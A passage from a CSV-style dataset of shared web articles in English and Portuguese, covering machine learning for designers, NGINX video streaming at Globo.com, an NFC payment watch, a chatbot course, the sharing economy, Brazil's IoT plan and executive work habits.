into its interface. See Figure 1-25 . Mathematical can be purchased from . Keras This tool requires a deeper knowledge of programming as well as familiarity with command-line-based installation processes, but provides a relatively user-friendly wrapper for the high-performance machine learning toolkits TensorFlow and Theano. Though it requires programming, Keras is geared towards the rapid prototyping of highly customized machine learning systems. It provides a high-level API and modular components that will help users to assemble common machine learning architectures such as convolutional and recurrent neural networks. This tool is not intended for new users, but may help to bridge the gap between the tools listed above and more open-ended platforms such as those listed in the following section, Open Source Machine Learning Toolkits . Keras installation instructions can be found at . Incorporating Machine Learning into Design Processes In thinking about how to teach a person a complex task, it can be difficult to break the task down into a series of well-defined, discrete steps. The same problem can arise when designing machine-learning-enhanced systems. We might think, ""the intelligent assistant should read the user's emotional state and respond accordingly."" But what does this mean? Though the answer may seem relatively clear in human terms, it is less so in computational ones. Is the user's emotional state defined by his word choice? If so, how are we deciding what words are correlated with which emotions? The first step in bringing machine learning to a design project should always be to try to define the learning problem as clearly and fully as possible. What are the input parameters we will provide the machine? What kinds of outputs are we looking for? What kind of training data will exemplify the correlations between these inputs and outputs? Once you feel confident that the learning problem has been well-defined, it may be helpful to set aside the technical details for a moment and treat the machine learning component as a black box function within the overall architecture of your system. This means that, much like a mathematical operation such as a square root, you know what the input and corresponding output should be, but you do not necessarily know how the square root is actually computed within this function. In this way, as you sketch out the user and data flows of your system, a machine learning component can be treated like any other feature of the software. An image recognition component, for instance, could be thought of as a box that takes an image as input and outputs a list of words. This approach allows designers to incorporate machine learning features into their systems without getting bogged down in technical details during the important ideation and sketching stages, which often require fluid thinking. Unlike a simple mathematical function, however, it is much more difficult to be certain that a machine learning feature will do what you need it to or that you will be able to find the appropriate training data to achieve the desired behavior. Therefore, this sketching process should be treated with care. If a machine-learning-enhanced feature is critical to the software's overall behavior and its efficacy is in doubt, it will be important to prototype the black box functionality to test assumptions before getting too far into designing other features around this machine learning functionality. The prototyping tools listed in the previous section may provide some assistance in getting a sense of whether the functionality will be achievable. This process of prototyping and validating assumptions can be quite labor intensive. It may require the procurement and cleaning of a dataset, the selection of a machine learning model and a lengthy training process to see any preliminary results whatsoever. Over time, however, as you work more with machine learning systems, you will develop an intuition for what is likely to work and what kinds of learning problems may be more touchy or brittle. It is important to jump in and get your hands dirty-getting as much first-hand experience as possible is crucial. Collaboration is also of great importance. If you are working with machine learning engineers, try to form your own opinion of whether a particular idea will work and then ask for the engineer's opinion. If her opinion conflicts with yours, ask questions. Which of your assumptions were faulty? What factors did you not consider? Machine learning may be a rigorous science, but it is still something for which you can build an intuition. As you work toward this intuition, start from simpler mechanisms and build towards more complex ones. It will not be easy to intuit how a Jeopardy-playing AI might be constructed, for example. In truth, IBM's Watson is not comprised of one machine learning system-rather, it is many interconnected components. As you introduce machine learning features into your designs, think about them as individual components. If you cannot reason clearly about what a particular component should do and what data it should be trained on, then most likely the machine won't be able to figure this out either. Learning is an abstract phenomenon, but its role within an individual component of a design need not be abstract. In any design process, it's necessary to think back and forth between the high-level purpose of a feature and its specific technical constraints in order to balance the many interrelated properties of a complex system. For machine-learning-enhanced features, finding this balance can be difficult. But designers can meet this challenge if they are willing to experiment, question their own thinking, and in so doing, continually strengthen their intuition for the essence of machine learning. Conclusions In many ways, machine learning is a solution in search of a problem. Machine learning algorithms are capable of discovering complex patterns in the data presented to them, but they are only useful if they have been trained to notice something useful. For some fields, such as finance and medicine, there are clear connections between the field's existing needs and the capabilities of machine learning systems. Financial institutions have always had a need for tools that help to predict the future behaviors of markets based on their past performance. Medical institutions have always had a need for tools that can predict patient outcomes. Machine learning simply provides more effective mechanisms for achieving these goals. In the coming years, countless other fields will be transformed by machine learning. In many cases, however, this transformation will not be about connecting existing goals with new mechanisms for achieving them. It will require the discovery of new premises and mindsets-ones that expose entirely new opportunities and goals that can only be seen through the perspective of machine learning. In his book Operating Manual for Spaceship Earth , the visionary designer Buckminster Fuller wrote, ""If you are in a shipwreck and all the boats are gone, a piano top buoyant enough to keep you afloat that comes along makes a fortuitous life preserver. But this is not to say that the best way to design a life preserver is in the form of a piano top. I think that we are clinging to a great many piano tops in accepting yesterday's fortuitous contrivings as constituting the only means for solving a given problem."" 11 In looking at the history of digital design tools themselves, we may see countless piano tops. Many of the features offered by video editing software, for instance, reference the preceding vocabulary of flatbed film editors. Though these references were helpful in transitioning a generation of filmmakers to a digital workflow, they did little to uncover new possibilities within the emerging medium of video. Discovering the unique possibilities of a medium requires experimentation, a fresh pair of eyes, and a willingness to think outside of the existing paradigms. It is here that designers will prove essential to the future of machine learning. In order to fully capitalize on the technical possibilities of machine learning systems, designers will be somewhat reliant upon programmers. But programmers must also rely upon designers to find groundbreaking applications and ways of thinking about these general-purpose tools. To facilitate collaboration with programmers and develop novel applications, designers do not necessarily need to understand all of the mathematical details associated with machine learning techniques. Still, to think freely and inventively about the possibilities of a medium, it is important to understand its underlying properties and constraints. As Bob Dylan said, ""to live outside the law, you have to be honest."" In other words, you have to understand the rules to know which are worth bending or breaking. To that end, for the field of machine learning to expand and thrive into the future, it will be essential for designers to immerse themselves in the possibilities of this technology, transforming it through their ways of seeing and thinking about the world. Going Further Resources for Further Study of Machine Learning Online Courses ""Machine Learning for Musicians and Artists"" taught by Rebecca Fiebrink: ""Machine Learning"" taught by Andrew Ng: ""Neural Networks for Machine Learning"" taught by Geoffrey Hinton: Math for Machine Learning ""Some Basic Mathematics for Machine Learning"" by Iain Murray and Angela J. Yu: ""Math for Machine Learning"" by Hal Daumé III: ""Machine Learning Math Essentials Part I & II"" by Jeff Howbert: ""Immersive Linear Algebra"" by J. Ström, K. Åström, and T. Akenine-Möller: ""Linear Algebra"" by Khan Academy: ""Probability and Statistics"" by Khan Academy: ""Differential Calculus"" by Khan Academy: Tutorials ""Deep Learning Tutorials"": ""A Deep Learning Tutorial: From Perceptrons to Deep Networks"": ""Deep Learning From the Bottom Up"": Technical Resources Machine-Learning-as-a-Service Platforms Open Source Machine Learning Toolkits TensorFlow (C++, Python): Torch (C, Lua): Caffe (C++): cuDNN (C++, CUDA): Theano (Python): Scikit-learn (Python): Shogun (C++, Python, Java, Lua, others): Spark MLlib (Python, Java, Scala): Deeplearning4j (Java, Scala): Datasets UCI Machine Learning Repository: MNIST Database of Handwritten Digits: CIFAR Labeled Image Datasets: ImageNet Image Database: Microsoft Common Objects in Context: 1 Patricia F. Carini, On Value in Education (New York, NY: Workshop Center, 1987). 2 Zoltan P. Dienes and E. W. Golding, Learning Logic, Logical Games (Harlow [England] ESA, 1966). 3 Frank Rosenblatt, ""The perceptron: a probabilistic model for information storage and organization in the brain,"" Psychological Review 65, no. 6 (1958): 386. 4 David E. Rumelhart, Geoffrey E. Hinton, and Ronald J. Williams, ""Learning representations by back-propagating errors,"" Cognitive Modeling 5, no. 3 (1988): 1. 5 Turing, A. M. ""Computing Machinery and Intelligence."" Mind 59.236 (1950): 433-60. 6 Alan Mathison Turing, ""Intelligent Machinery,"" in Mechanical Intelligence , ed. D. C. Ince (Amsterdam: North-Holland, 1992), 114. 7 Negroponte, Nicholas. The Architecture Machine . Cambridge, MA: M.I.T., 1970. 11. Print. 8 9 10 11 R. Buckminster Fuller, Operating Manual for Spaceship Earth (Carbondale, IL: Southern Illinois University Press, 1969).",en
1467769352,CONTENT SHARED,-4657414671719964025,-1616903969205976623,-277725526978597603,,,,RICH,https://issuu.com/griclub/docs/gri_magazine_4ed,GRI Magazine 4ª Edição,"GRI, Club, Magazine, residencial, industrial, logística, loteamentos, shoppings, hotéis, escritórios, Multiplan, Vitacon, 5R Shopping Centers, Barzel Properties, Cyrela, Google, corporativo, CBRE, Setin Incorporadora, Fasano, Hotel Transamérica, Blue Tree Hotels, Iguatemi, Olímpiadas 2016, Carvalho Hosken, José Isaac Peres, Carlos Carvalho, Antonio Setin, Carlos Jereissati | Issuu is a digital publishing platform that makes it simple to publish magazines, catalogs, newspapers, books, and more online.",pt
1467803935,CONTENT SHARED,-2141497471886086313,7645894863578715801,-5750221226699175569,,,,HTML,https://www.nginx.com/blog/globo-com-delivers-live-video-streaming-to-500000-viewers-with-nginx/,"Globo.com Uses NGINX for Streaming Media to 500,000+ Viewers","Situation In 2012, Globo.com, the number one media and entertainment portal in Brazil, had over a million visitors a day and was experiencing unprecedented growth in its online viewership. As the online branch of the country's top television brand Grupo Globo, Globo.com is responsible for online distribution of the media company's news, sports, and entertainment to a massive, and yet still fast-growing, audience. Visitors come to Globo.com not just to catch up on news and current events articles, but to enjoy its great video content, with many Globo news reports, TV shows, and sports events broadcast online. These users expect an easy-to-use, high-quality online viewing experience that rivals that of traditional television. The sheer amount of traffic Globo.com had to handle made delivering live video over the Internet a serious technical challenge. As an example, up to 300,000 simultaneous viewers tuned in online to watch matches live during the 2010 FIFA World Cup. At the time, Globo.com was using a proprietary media server along with Real-Time Messaging Protocol (RTMP) to stream video from the soccer field to the Web. However, this solution proved less than ideal. The media server used a specialized port to deliver video, which meant users behind firewalls had trouble viewing the stream. Because it was proprietary, closed-source software, it was difficult to debug problems and hard to add instrumentation to monitor operations. Further, the video was delivered via Flash, so users with iOS devices were unable to watch the stream. Performance was also an issue, especially under high load. Because RTMP is a stateful protocol, each viewer had to be served from a single machine per session instead of being able to get video content from multiple servers. Load balancing was limited, failover was challenging, and caching was non-existent. The result was that during peak traffic times, clients were kicked off overloaded servers and automatically tried to reconnect to another one. But that server was overloaded as well, causing cascading failure. Many users, once lost, didn't return. As developer Juarez Bochi , video platform developer at Globo.com, explains, ""We could see the audience and the money flying away through the window."" Solution With a growing viewer base and an increasing demand for video on mobile devices, Globo.com decided to switch from the RTMP solution that was bundled with its former media server to HTTP Live Streaming (HLS) delivered with NGINX. HLS not only added video support for iOS devices, but its stateless HTTP delivery method enabled Globo.com to leverage caching and reap the full benefits of load balancing, with a huge impact on performance and scalability. Using HTTP-based video delivery and NGINX also made it possible to monitor the video-delivery architecture. ""NGINX gave us amazing caching. It also gave us easy scalability, because it's just a matter of spinning up another machine or virtual server,"" explains Leandro Moreira , software engineer at Globo.com. ""We were able to achieve a better user experience because HLS is better at determining which bitrate stream the user should get. And we also loved the instrumentation that let us see what was going on in the server farm."" NGINX is the number one web server for the top 100,000 busiest websites in the world. It's used by leaders in online video, including Netflix and Hulu, to deliver their content quickly and reliably to the world. With out-of-the-box support for popular streaming protocols like Apple's HLS, Adobe's HTTP Dynamic Streaming (HDS), and RTMP, NGINX optimizes the stream for every device and network. The open source NGINX software can be extended to support additional video features; NGINX Plus has advanced video features built in . In Globo.com's HLS streaming architecture with NGINX, raw video is converted to HLS and segmented for delivery. Segmentation enables Globo.com to implement a DVR-type feature that was not possible with the former media server. NGINX and Lua are used in conjunction with a Redis database to generate dynamic playlists. This enables users of Globo.com's custom video player to watch a segment, such as a home-team goal, over and over, and skip through other parts of a game, giving them full control over their viewing experience. NGINX makes the HLS files readily available while providing caching and redundancy. The application is built using microservices, with modules for geolocation, authorization, and authentication (crucial for respecting user and broadcaster rights). Lua, the scripting language that is also a Brazilian product, is used for playlist generation and a queuing system (""waiting room"") for users on congested connections. NGINX also powers the frontend, delivering the video stream to iOS and Android devices, as well as via a custom web-based Flash video player for PC users. Results > Streaming Live Video to 500,000+ Users with Ease Soccer is popular in Brazil, and with its already huge - and growing - online viewership, Globo.com knew that the 2014 FIFA World Cup would put its video streaming architecture to the test. Requests were load balanced across 80 frontend NGINX nodes in two data centers that cached video segments from 6 backend nodes also running NGINX. During the 2014 World Cup, Globo.com delivered live video streams of the matches to a audience of over 500,000 viewers at peak times without a hiccup, and could easily have handled more. Video requests reached 125,000 per second and throughput delivered during the game exceeded 640 Gbps. Video delivery was very efficient - using just 10% CPU, frontend nodes were able to deliver video at 19 Gbps, nearing their network capacity of 20 Gbps per node. It was a huge improvement over the previous architecture. As Bochi explains, ""with just 2 NGINX servers, we could easily handle 100,000 users. That's about what we could get with 50 of our previous media servers."" The system continues in use today. > Deep Visibility for Even More Infrastructure Optimizations Their previous media server limited Globo.com to checking log files and monitoring resource usage. When Globo.com switched to HLS streaming delivered with NGINX, it gained the ability to drill down much further into its streaming infrastructure. With NGINX, it was easy for Globo.com to add instrumentation and build a custom dashboard for their server farm, showing everything from CPU and memory utilization to video buffering and cache miss rates. This information helped Globo.com pinpoint inefficiencies and fine-tune its delivery. The instrumentation possible with the HLS and NGINX solution directly helped Globo.com reduce its video buffering rate by 600%, as well as optimize its caching mechanisms. > Easy to Add Microservices with NGINX and Lua Working with NGINX was so easy that by 2013, Globo.com was already happy with the performance and scalability of its video delivery infrastructure and was able to focus on improving the user experience in preparation for the 2014 World Cup. Besides its core functionality, NGINX has a library of third-party modules available to extend its capability. The Lua third-party module tightly integrates with NGINX and provides fast, powerful, asynchronous scripting through an easy-to-use language. Using NGINX and Lua, Globo.com created a microservice that dynamically generates HLS playlists, which supports DVR functionality that lets its viewers rewind and rewatch great plays made on the field. When local ISP bandwidth bottlenecks created video delivery challenges for its users, Globo.com was able to create another microservice to deal with the issue, using NGINX and Lua to create a ""waiting room"" when too many users tried to access video over a saturated bandwidth link. This ensured consistent video quality for its viewers and helped Globo.com maintain its reputation as a high-quality content provider. About Globo.com Globo.com is the Internet branch of Organizações Globo, the biggest media conglomerate in Latin America, with offices in Rio de Janeiro and São Paulo. It aggregates the greatest web vertical portals in Brazil, for news (G1), sports (globoesporte.com), videos (GloboPlay), and celebrities (GShow). Besides that, the company serves as a service provider for all other media units of the organization, as well as providing strategic and technology support on Internet issues. It excels at high-volume web distribution and serves the largest simultaneous video-streaming audiences in the country.",en
1467805014,CONTENT SHARED,4757923412035174662,1120069409160402054,-8125202614821009907,,,,HTML,http://m.mobiletime.com.br/news/444502,Mobile Time,"A Swatch trouxe para o Brasil o Bellamy, seu primeiro relógio para pagamento sem contato, usando o padrão NFC para comunicação por aproximação. O produto conta com um elemento seguro fornecido pela OT associado a uma conta de cartão de débito pré-pago Visa emitido pela Brasil Pré-Pagos. Na prática, o relógio funciona como um cartão e pode ser carregado com crédito pelo site da Brasil Pré-Pagos na Internet. Para realizar pagamentos, basta aproximar o relógio de qualquer terminal de POS que aceite NFC - são mais de 2,5 milhões no Brasill. Quatro versões em cores diferentes do Bellamy serão vendidas a partir de julho no País ao preço de R$ 725 cada. Foram produzidas alguns milhares de unidades para o primeiro lote de venda no Brasil. Somente outros dois mercados tiveram o produto lançado até agora: Suíça e China. O nome Bellamy foi inspirado no escritor norte-americano Edward Bellamy, que em 1888 escreveu o livro ""Daqui a cem anos: revendo o futuro"", no qual previa um mundo sem dinheiro em papel ou moeda, relatou Carlo Giordanetti, diretor criativo da Swatch, durante a apresentação do produto nesta terça-feira, 5, no Rio de Janeiro. ""Estamos dando um novo passo nos meios eletrônicos de pagamento. O cartão não vai deixar de existir na minha geração, mas estamos observando a desconstrução dele em vários formatos, como o celular, ou os vestíveis, ou em relógios, como o Bellamy"", disse Percival Jatobá, vice-presidente da Visa no Brasil. Tecnologia Cabe ressaltar que o Bellamy não é um relógio conectado ou um ""smart watch"". Ele não acessa a Internet e nem se comunica com o smartphone do dono. Mas dentro dele há uma antena NFC para a realização do pagamento por aproximação, além do elemento seguro instalado pela OT em seu centro de serviços em Cotia/SP. É o mesmo local onde é feita a personalização de cartões de crédito e de débito de vários emissores, explica Paollo Villasco, presidente da OT para América Latina. Para pagamentos até R$ 50, basta aproximar o relógio da máquina de POS. Acima desse valor, é necessário digitar uma senha no terminal, que deve ter sido previamente registrada no site da Brasil Pré-Pagos. Ao contrário dos smartwatches em geral, o Bellamy não precisa ser recarregado recorrentemente: sua bateria dura por vários anos. Mas a validade do cartão de débito pré-pago embutido nele é de quatro anos. O acompanhamento do extrato pode ser feito pelo site ou pelo app da Brasi Pré-Pagos.",pt
1467809427,CONTENT SHARED,8413971365124666862,-1032019229384696495,2877928994927953292,,,,HTML,http://www.oreilly.com/online-training/building-bots-node-js.html,"Building Chatbots with Node.js - Online Training - July 13 & 14, 2016","Online Training A hands-on exploration of modern conversational UI 9:00AM - 12:00PM PDT Register now Sign up before this course sells out! Join Colin Megill for a hands-on introduction to both the theoretical and applied aspects of designing and developing conversational interfaces. Text-only interfaces harken back to the earliest days of computing, long before mobile made Internet access ubiquitous. Messaging, however, remains one of our most powerful and expressive forms of communication. Slack, Facebook Messenger, SMS and WhatsApp dominate a messaging landscape that connects billions of people daily. Now, however, as bots continue to be enthusiastically embraced, the medium is spreading throughout the Web and apps. Join Colin for an exploration of the landscape of bots, special concerns when building these types of interfaces, and learn to build one yourself with Node.js. What you'll learn-and how you can apply it By the end of this live, hands-on, online course, you'll understand: The unique challenges of building non-trivial conversational interfaces, including the extraordinary combinatorial complexity that immediately emerges What tools are available to help you build bots What services are available to make your bots smarter faster How to handle 'less than ideal' conversational paths and error messages And you'll be able to: Build a simple, interactive bot Serialize a form using a conversational interface Integrate your bot with third-party services such as Slack and Hound This course is for you because... You are a developer who builds consumer-facing interfaces You are a technical lead interested in learning the benefits of conversational interfaces and seeing how easy they are to implement You are a leader or member of a design or business team with an interest in the role of an automated ""voice"" for the company, the customer experience, and benefits to the business You are one of the people responsible for answering this question: ""How should we develop and implement the 'voice' of our organization as a bot or web service?"" Prerequisites: Basic programming experience Familiarity with Git, Github, JavaScript, and Node.js in general Be comfortable using callbacks, require statements, and conditionals (such as if/else statements) About your instructor Colin Megill is founder of Seattle-based startup , a web app that leverages the real time web, interactive data visualization, and machine learning to gather sentiment in an organic, emergent way. Colin's primary foci are frontend development, product design, information design, and interactive data visualization. He has also designed, architected, and built client-side applications and trained teams for some of the largest brands in the world across multiple industries. Schedule Day One High-Level Overview & Bot Creation Theory (1 hour) Welcome and overview of schedule of day History and scope of conversational interfaces Design challenges - what we get, what we lose How does the user discover the functionality? How do we handle the combinatorial explosion of possible states? Range of potential use cases, interesting domains Practice (2 hours) Create a hello world slack bot locally in Node.js Serialize a web form via the bot in Node.js Error handling Create a BeepBoop account and deploy the bot you built Day Two Integrating Third-Party Services Theory (1 hour) Discussion of ML articles in pre-req Exploring present limitations, case studies, including and especially Amazon Alexa and x.ai and the future of ML powered, domain specific bots Practice (2 hours) Create a Hound account and hook up the bot to Hound domains. Play, discuss. Questions and play, likely with a Microsoft Cognitive Services JSON API. The course uses a mix of lectures, ebook downloads, Q&A sessions, and live coding examples. Register now Individual ticket: $299 Participate in this workshop from the convenience of your home, your office... whatever environment you find most comfortable and conducive to an intensive educational experience. Group tickets Working as a team? Learn as a team. Taking this course as a team ensures that everyone is on the same page and understands both the immediate and long-term and immediate goals of your project. Exploring new ideas and collaborating on exercises together is a great team-building experience; everyone on your team will have the opportunity to ask questions, discuss use cases, and learn from other participants. For group tickets and enterprise licensing, please contact onlinetraining@oreilly.com",en
1467812536,CONTENT SHARED,-8239286201029609369,4918484843075254252,-5701227433817087697,,,,HTML,http://www.inc.com/will-yakowicz/serious-business-sharing-economy-good-or-bad.html,Serious Business: Is The Sharing Economy Good For Business?,"In this installment of Serious Business on the Inc. Uncensored podcast , Inc. San Francisco bureau chief Jeff Bercovici debates journalist Doug Henwood about the sharing economy--is it good or bad for the economy? We all love the convenience the sharing economy offers. Thanks to companies like Uber and Airbnb , you can go to a new city, get a trusted driver to give you a ride to a house you're renting for a reasonable price. But what is the effect on labor and the over-all economy? Henwood says Uber is taking advantage of the desperation of the country's working class and Uber drivers don't make much money. Airbnb is helping to raise rents for locals in urban neighborhoods. Bercovici says these companies are fulfilling a need--the existing taxi system was exploitative in itself and inefficient, while Airbnb has usurped a hotel industry that was too expensive for many people to afford. Find out who wins the debate above. You can listen to individual episodes of Inc. Uncensored , which is part of the Panoply network , or on iTunes , where you can also subscribe. And let us know who you think won the debate by emailing us at uncensored@inc.com .",en
1467813602,CONTENT SHARED,3180828616327439381,1895326251577378793,6337372998984359835,,,,HTML,http://computerworld.com.br/governo-define-cronograma-para-plano-nacional-para-internet-das-coisas,Governo define cronograma para plano nacional de Internet das Coisas,"Ricardo Rivera, gerente setorial das indústrias de tecnologia da informação do BNDES, anunciou durante a Rio Info 2016 que 29 propostas foram entregues para a contratação da consultoria que vai desenhar o plano de ação nacional para Internet das Coisas, a ser conduzido pelo banco estatal e pelo MCTIC. Segundo ele, na próxima semana serão conhecidas as cinco finalistas e até o final de julho será revelada a empresa vencedora. A expectativa é que a pesquisa sobre o tema aconteça de outubro até o final de dezembro. A meta, explicou o executivo, é que no segundo semestre de 2017, o plano nacional de IoT comece a ser implantado.""O levantamento vai fazer um estudo completo do mercado, mas terá recursos para uma implantação imediata. A intenção é remover as principais barreiras para Internet das Coisas"", sustentou. O plano terá com validade de 2017 a 2022. ""O modelo terá recurso para garantir a implantação. Ele não será um estudo sem medidas práticas"", detalhou Rivera, ao afirmar que um ponto central do estudo BNDES/MCTIC é obrigar o monitoramento das ações. ""Queremos que a política seja implantada. Isso é crucial para o Brasil ter um lugar nesse mercado"", afirmou. O levantamento terá pontos voltados às questões regulatórias, as melhores práticas de financiamento e o compartilhamento de informações. ""Há ações de IoT acontecendo no mundo. Precisamos dividir conhecimento. Há muitas oportunidades de negócios, mas temos que estruturar quais são as competências do Brasil"", completou. A Internet das Coisas desperta muito interesse das empresas. Em contrapartida, muitas dúvidas rondam os executivos. ""Precisamos entender se o que estamos fazendo é realmente Internet das Coisas. Se não corremos o risco de fazer investimentos que ser perderão"", observou Gabriel Antônio Mourão, consultor de novas tecnologias da Perception. Ele afirmou que este é o momento ideal para investir em IoT. ""Temos que aproveitar ao máximo esse momento"", comentou. ""A IoT já agrega diferentes tecnologias, como cloud computing e big data, e precisa se preparar para as novas que vão surgir. É preciso ainda encontrar novas soluções sobre questões importantes como segurança, privacidade ou volume de dados nas comunicações. A aplicabilidade e compatibilidade entre diferentes plataformas também precisa ser pensada"", ponderou o executivo. Para Fabio Porto, professor e pesquisados do Laboratório Nacional de Computação Cientifica (LNCC), que tem desenvolvido vários projetos em parceria com instituições e empresas para aplicação de IoT com uso de dados captados por sensores, para desenvolver sistemas é preciso entender bem a estrutura e característica dos dados a serem avaliados e da aplicação que se pretende construir. ""Cada tipo de dado, sejam eles de séries temporais, comprimidos, criptografados, preciso ou impreciso, tem uma interpretação diferente"", indicou. Um dos projetos desenvolvidos pelo laboratório de pesquisa é o SAHA, de acompanhamento do desempenho de atletas de alto rendimento a partir do monitoramento de dados em diferentes áreas, como nutrição e bioquímica. ""A IoT é a próxima grande onda. E três pontos chave são mais relevantes para se pensar neste momento: variedade, velocidade e veracidade"", definiu.",pt
1467813728,CONTENT SHARED,-133139342397538859,4918484843075254252,-5701227433817087697,,,,HTML,http://gq.globo.com/Prazeres/Poder/Carreira/noticia/2016/06/novo-workaholic-trabalha-pratica-esportes-e-tem-tempo-para-familia-conheca.html,"Novo workaholic trabalha, pratica esportes e tem tempo para a família. Conheça","Novo workaholic não abre mão do esporte e da família (Foto: iStock) Se alguém, um dia, precisar reunir os personagens desta reportagem para uma rodada de negócios, fica aqui uma sugestão: marque o encontro na Vila Olímpica. Maratona, triatlo, judô, taekwondo e windsurfe são algumas das modalidades praticadas - em alguns casos com dedicação e resultados semiprofissionais - por este pequeno conjunto de executivos. Mas boa sorte com as agendas. Todos presidem empresas, obviamente com rotinas intensas, e dificilmente permitem que compromissos extracurriculares roubem o tempo sagrado para suas famílias ou, no caso dos solteiros, para os hobbies que fazem brilhar seus olhos. Representantes de uma geração que conviveu com chefes e colegas viciados em trabalho (e em certos momentos se confundiram com eles), esses profissionais fizeram do esporte a pedra angular para a construção de rotinas criativas. Sua dedicação a empresas tão diferentes entre si como P&G, Leo Burnett e Unisys não é avaliada pelo número de horas passadas no escritório, uma obsessão típica dos velhos baby boomers. ""Talvez porque eles não tivessem outros interesses na vida"", afirma Alberto Ogata, diretor técnico da Associação Brasileira de Qualidade de Vida (ABQV). Tampouco é medida pelos símbolos de status corporativo que conspiravam contra a saúde dos executivos, a começar pela vaga de estacionamento próxima ao elevador. Pelas novas regras com as quais eles estão subvertendo o jogo corporativo, o que vale são os resultados entregues e o modo como se dá essa entrega: com equilíbrio e foco invejáveis. É o que permite a altos executivos, em posições de destaque nas companhias que lideram, terem vidas saudáveis, interessantes e, quase sempre, divertidas. É o que faz deles a primeira geração dos chamados novos workaholics. O ponto de partida para essa mudança de paradigma encontra-se no Vale do Silício. O engravatado durão que demitia 10% de seus funcionários todo ano deu lugar ao ex-hippie. E as empresas passaram a trocar horários a cumprir por tarefas a executar Com idades entre 40 e 50 anos, eles estão no auge de suas carreiras, lideram multinacionais e têm vasta experiência internacional. São todos apaixonados pelos esportes que praticam, mas têm uma visão utilitária da atividade física. Em troca da disciplina férrea que tira a maioria deles da cama antes de o sol nascer, esperam benefícios (aplicáveis ao trabalho) como energia, serenidade e capacidade de executar impecavelmente sob pressão. Pragmaticamente, eles estão trocando quantidade por qualidade no trabalho porque entenderam que mais tempo no escritório não significa mais trabalho feito. Um estudo recente da Business Roundtable, uma associação de CEOs de grandes empresas nos EUA, concluiu que embora um pico concentrado de muitas horas de trabalho possa aumentar o rendimento em prazos curtos (fechamentos de trimestre, lançamento de produtos, etc.), longas jornadas sistemáticas tendem a diminuir a produtividade. Os pesquisadores constataram que pessoas trabalhando 60 horas por semana - ou 12 horas por dia - durante dois meses não produziram mais do que num regime tradicional de 40 horas semanais - ou oito horas diárias. Já uma semana de 80 horas provoca burnout em menos de um mês. Há raízes históricas para a transformação em curso. ""No início dos anos 80 tivemos as primeiras manifestações de executivos que se saturaram da busca pelo sucesso, justamente por terem percebido que o custo de alcançá-lo é imenso"", afirma o professor Esdras Vasconcellos, do Departamento de Psicologia Social e do Trabalho da Universidade de São Paulo. ""Naquela época, reduzir o ritmo era mais difícil. Então, alguns abdicaram da carreira executiva."" Ouviam-se casos anedóticos de executivos que largavam tudo para abrir uma pousada no Nordeste. No auge da onda workaholic, eles tiveram o insight que originou o que Vasconcellos chama de ecologia da vida. ""Esse novo pensamento não traz uma abdicação da vida civilizada, moderna, até certo ponto consumista"", pondera. ""Traz, sim, uma leveza simbolizada pela troca do tênis (longas partidas, alta competitividade) pela ioga (meditação, retiros espirituais)."" Geograficamente, o ponto de partida para essa mudança de paradigma encontra-se no Vale do Silício - não por acaso, na Califórnia. Volte aos anos 60. Ali floresceu todo o movimento hippie, toda a contracultura que influenciou São Francisco e região. ""Esses anos revolucionários romperam totalmente com valores antigos"", afirma Vasconcellos. Duas décadas depois, a Califórnia estava no epicentro do surgimento da informática, do computador pessoal como facilitador de processos de trabalho. Placas tectônicas do mundo corporativo se moveram durante o período de ascensão e estrelato de Steve Jobs. Da sua explosão como empreendedor, nos anos 80, à sua assimilação pelo establishment empresarial na primeira década do século 21 - que coincide com o caso de Jack Welch, até então o grande ícone do executivo vencedor e o protótipo do workaholic. O engravatado durão que demitia 10% de seus funcionários todo ano deu lugar ao ex-hippie com grande apetite por LSD, meditação e comida vegana. Era o início de uma revolução cultural. Pragmática. As empresas, ao perceber que a permissão para que as pessoas trabalhem com um pouco mais de leveza acaba trazendo resultados, decidiram relaxar. Trocaram horários a cumprir por tarefas a executar. Os ambientes de trabalho ganharam quadras de esporte, áreas de lazer, restaurantes gourmet. Se workaholic é o profissional que não consegue ou tem grande dificuldade de se desconectar do trabalho, o que importa não é o número de hobbies e atividades esportivas que ele encaixa na rotina. O desafio para esse executivo é o poder de se desligar Esse movimento ganhou impulso com uma mudança na cultura das empresas na década de 90, quando começa a implantação dos programas de qualidade de vida. A geração que estava, então, em início de carreira já recebeu esse novo modelo mental de autogerenciamento nos seus anos de formação. ""Esses executivos têm consciência elevada e tratam a saúde como elemento de sustentabilidade pessoal"", diz Carlos Legal, sócio da consultoria Legalas, especializada em educação corporativa. Parte deles abre mão voluntariamente de posições no topo das organizações. Todavia, há aqueles que querem tudo: chegar ao topo de suas empresas, porém sem sacrificar vida pessoal e vida familiar. Na visão de Vicky Bloch, uma das mais renomadas coachs de CEOs do país, o perfil predominante no topo das companhias brasileiras ainda é o do workaholic clássico. Profissionais atléticos são pontos fora da curva e não um retrato fiel da realidade do Brasil, onde 51% das mulheres e 47% dos homens hoje são sedentários. A obesidade é uma epidemia, sobretudo na base da pirâmide organizacional das empresas. Mas isso está mudando, e rapidamente. ""Estamos em transição"", nota Vicky. A mudança maior está se dando com a entrada no primeiro escalão das empresas de executivos na faixa de 35 a 45 anos. Pessoas que já são associadas ao que ela chama de geração flexível, no que diz respeito à sua relação com o tempo e o espaço em que o trabalho é executado. Gente mais saudável, sem dúvida, mas não necessariamente menos viciada em trabalho, pondera Vicky. Afinal, se workaholic é o sujeito que não consegue se desconectar do trabalho, o que importa não é o número de hobbies e atividades esportivas que ele encaixa na rotina. O desafio é o poder de se desligar. Alguns sintomas típicos do antigo vício em trabalho, é bem verdade, tornam-se mais raros na geração flexível - como os casamentos desfeitos. De acordo com as pesquisas de Bryan Robinson, psicoterapeuta, professor emérito da Universidade da Carolina do Norte e autor do livro Chained to the Desk (""Acorrentado à Mesa"", sem edição em português), casamentos com ao menos um cônjuge workaholic têm 40% mais riscos de acabar em divórcio. Contudo, se a cachaça do workaholic é o trabalho, a dependência, em muitos casos, continua presente. ""Só que hoje ele não trabalha apenas no escritório"", diz Vicky. ""Trabalha em casa, no carro, correndo."" O próximo desafio, então, talvez seja completar a transição desses novos workaholics em autênticos pós-workaholics. A troca da guarda geracional, sem dúvida, está fazendo sua parte. Basta conferir o depoimento de Ricardo Sangion, principal executivo da rede social Pinterest no Brasil. Mais jovem do time aqui reunido, ele se orgulha de dormir muito, trabalhar pouco, entregar resultados e ainda ter tempo para administrar um site, um bar e uma pousada na Bahia. Nem tudo, porém, se resume à idade. Valores antes reprimidos estão sendo integrados à vida executiva. ""A espiritualidade passa a ser importante"", exemplifica o professor Vasconcellos. E há o poderoso efeito demonstração. ""As empresas começam a perceber que até profissionais na posição de CEO já não estão mais disponíveis para alcançar resultados a qualquer 